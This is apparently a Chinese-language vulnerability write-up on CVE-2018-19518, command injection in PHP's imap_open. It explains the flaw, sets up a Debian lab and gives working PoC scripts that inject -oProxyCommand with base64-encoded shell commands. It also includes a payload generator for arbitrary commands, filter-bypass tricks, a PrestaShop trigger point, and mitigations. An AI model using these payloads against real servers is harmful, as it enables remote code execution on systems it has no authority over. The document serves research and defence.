CVE-2018-19518:PHP imap_open函数任意命令执行漏洞复现
字数 1417 2025-08-18 11:37:49

PHP imap_open函数任意命令执行漏洞(CVE-2018-19518)技术分析与复现指南

漏洞概述

CVE编号:CVE-2018-19518
影响组件:PHP的imap_open函数
漏洞类型:远程命令执行
影响版本:多个Linux发行版中的PHP版本,包括Ubuntu、Debian、Red Hat和SUSE
CVSS评分:8.8 (高危)
披露日期:2018年10月23日

漏洞描述

PHP的imap_open函数存在安全漏洞,允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞源于imap_open函数在将邮箱名称传递给rsh或ssh命令之前未能正确过滤邮箱名称。

当满足以下条件时,攻击者可利用此漏洞:

  1. 系统启用了rsh和ssh功能
  2. rsh命令是ssh命令的符号链接
  3. 攻击者能够控制IMAP服务器名称参数

受影响系统

  • Ubuntu
  • Debian
  • Red Hat
  • SUSE

漏洞原理分析

IMAP协议背景

IMAP(Internet Message Access Protocol)是电子邮件客户端用于从邮件服务器检索电子邮件的标准协议。PHP通过UW IMAP工具包提供IMAP功能支持。

漏洞触发机制

  1. 函数调用链

    • imap_open()tcp_aopen() (在tcp_unix.c中定义)
    • 最终会调用系统命令执行
  2. 关键代码路径

    // imap-2007f/src/osdep/unix/tcp_unix.c
    TCPSTREAM tcp_aopen(NETMBX mb, char *service, char *usrbuf) {
        // ...
        if (!(sshpath && (ti = sshtimeout))) return NIL;
        if (!sshcommand) sshcommand = cpystr("%s %s -l %s exec /usr/sbin/r%sd");
        // ...
    }
    
  3. 命令注入点

    • 当使用rshssh连接时,未正确过滤邮箱名称参数
    • 攻击者可通过-oProxyCommand参数注入恶意命令

环境搭建与复现

实验环境要求

  • 操作系统:Debian 9
  • PHP版本:7.0.30
  • 其他组件:SSH、IMAP模块

环境配置步骤

  1. 安装基础软件包

    apt-get update && apt-get install -y nano php
    
  2. 安全配置PHP

    echo '; priority=99' > /etc/php/7.0/mods-available/disablefns.ini
    echo 'disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source' >> /etc/php/7.0/mods-available/disablefns.ini
    phpenmod disablefns
    
  3. 安装SSH和strace工具

    apt-get install -y ssh strace
    
  4. 安装IMAP模块

    cd /tmp/
    wget http://http.debian.net/debian/pool/main/u/uw-imap/uw-imap_2007f~dfsg-2.dsc
    wget http://http.debian.net/debian/pool/main/u/uw-imap/uw-imap_2007f~dfsg.orig.tar.gz
    wget http://http.debian.net/debian/pool/main/u/uw-imap/uw-imap_2007f~dfsg-2.debian.tar.gz
    apt-get install dpkg-dev
    dpkg-source -x uw-imap_2007f~dfsg-2.dsc imap-2007f
    mv imap-2007f /usr/local/
    

漏洞复现过程

  1. 创建测试PHP脚本(test1.php)

    <?php
    $server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
    imap_open('{'.$server.':143/imap}INBOX') or die("\n\nError: ".imap_last_error());
    ?>
    
  2. 使用strace观察命令执行

    strace -f -e trace=clone,execve php test1.php
    
  3. 验证命令执行结果

    • 检查/tmp/test0001文件是否被创建
    • 文件内容应为"1234567890"

实际利用POC

<?php
$payload = $argv[1];
$encoded_payload = base64_encode($payload);
$server = "any -oProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash}";
print("payload:{$server}".PHP_EOL);
?>

漏洞利用技术

绕过限制技巧

  1. 空格绕过

    • 使用$IFS$()替代空格
    • 使用制表符(\t)替代空格
  2. 特殊字符绕过

    • 使用Base64编码命令
    • 示例:echo "echo hello|tee /tmp/executed"|base64
  3. 实际利用示例

    <?php
    $payload = "echo hello|tee /tmp/executed";
    $encoded_payload = base64_encode($payload);
    $server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
    @imap_open('{'.$server.'}:143/imap}INBOX');
    ?>
    

实际应用场景攻击

PrestaShop攻击示例

  1. 环境搭建

    apt install -y wget unzip apache2 mysql-server php-zip php-curl php-mysql php-gd php-mbstring
    service mysql start
    mysql -u root -e "CREATE DATABASE prestashop; GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'megapass';"
    a2enmod rewrite
    cd /var/www/html
    wget https://download.prestashop.com/download/releases/prestashop_1.7.4.4.zip
    unzip prestashop_1.7.4.4.zip
    service apache2 start
    
  2. 漏洞触发点

    • /prestashop-1.7.4.4/controllers/admin/AdminCustomerThreadsController.php
    • syncImap()函数中的imap_open()调用

防御措施

管理员建议

  1. 更新补丁

    • 应用PHP官方发布的安全补丁
    • 更新Linux发行版中的相关软件包
  2. 配置加固

    • 禁用不必要的IMAP功能
    • 限制网络访问权限
    • 使用基于IP的访问控制列表(ACL)
  3. 监控措施

    • 监控系统日志中的异常IMAP连接
    • 部署入侵检测系统(IDS)规则
  4. 临时缓解方案

    // 在php.ini中禁用imap_open函数
    disable_functions = imap_open
    

参考资源

  1. CVE官方描述
  2. PHP Bug追踪
  3. Metasploit模块
  4. PoC代码

法律声明

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
涉及到的相关漏洞已报送厂商并得到修复。

PHP imap_ open函数任意命令执行漏洞(CVE-2018-19518)技术分析与复现指南 漏洞概述 CVE编号 :CVE-2018-19518 影响组件 :PHP的imap_ open函数 漏洞类型 :远程命令执行 影响版本 :多个Linux发行版中的PHP版本,包括Ubuntu、Debian、Red Hat和SUSE CVSS评分 :8.8 (高危) 披露日期 :2018年10月23日 漏洞描述 PHP的imap_ open函数存在安全漏洞,允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞源于imap_ open函数在将邮箱名称传递给rsh或ssh命令之前未能正确过滤邮箱名称。 当满足以下条件时,攻击者可利用此漏洞: 系统启用了rsh和ssh功能 rsh命令是ssh命令的符号链接 攻击者能够控制IMAP服务器名称参数 受影响系统 Ubuntu Debian Red Hat SUSE 漏洞原理分析 IMAP协议背景 IMAP(Internet Message Access Protocol)是电子邮件客户端用于从邮件服务器检索电子邮件的标准协议。PHP通过UW IMAP工具包提供IMAP功能支持。 漏洞触发机制 函数调用链 : imap_open() → tcp_aopen() (在tcp_ unix.c中定义) 最终会调用系统命令执行 关键代码路径 : 命令注入点 : 当使用 rsh 或 ssh 连接时,未正确过滤邮箱名称参数 攻击者可通过 -oProxyCommand 参数注入恶意命令 环境搭建与复现 实验环境要求 操作系统:Debian 9 PHP版本:7.0.30 其他组件:SSH、IMAP模块 环境配置步骤 安装基础软件包 : 安全配置PHP : 安装SSH和strace工具 : 安装IMAP模块 : 漏洞复现过程 创建测试PHP脚本(test1.php) : 使用strace观察命令执行 : 验证命令执行结果 : 检查 /tmp/test0001 文件是否被创建 文件内容应为"1234567890" 实际利用POC 漏洞利用技术 绕过限制技巧 空格绕过 : 使用 $IFS$() 替代空格 使用制表符(\t)替代空格 特殊字符绕过 : 使用Base64编码命令 示例: echo "echo hello|tee /tmp/executed"|base64 实际利用示例 : 实际应用场景攻击 PrestaShop攻击示例 环境搭建 : 漏洞触发点 : /prestashop-1.7.4.4/controllers/admin/AdminCustomerThreadsController.php syncImap() 函数中的 imap_open() 调用 防御措施 管理员建议 更新补丁 : 应用PHP官方发布的安全补丁 更新Linux发行版中的相关软件包 配置加固 : 禁用不必要的IMAP功能 限制网络访问权限 使用基于IP的访问控制列表(ACL) 监控措施 : 监控系统日志中的异常IMAP连接 部署入侵检测系统(IDS)规则 临时缓解方案 : 参考资源 CVE官方描述 PHP Bug追踪 Metasploit模块 PoC代码 法律声明 本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。 涉及到的相关漏洞已报送厂商并得到修复。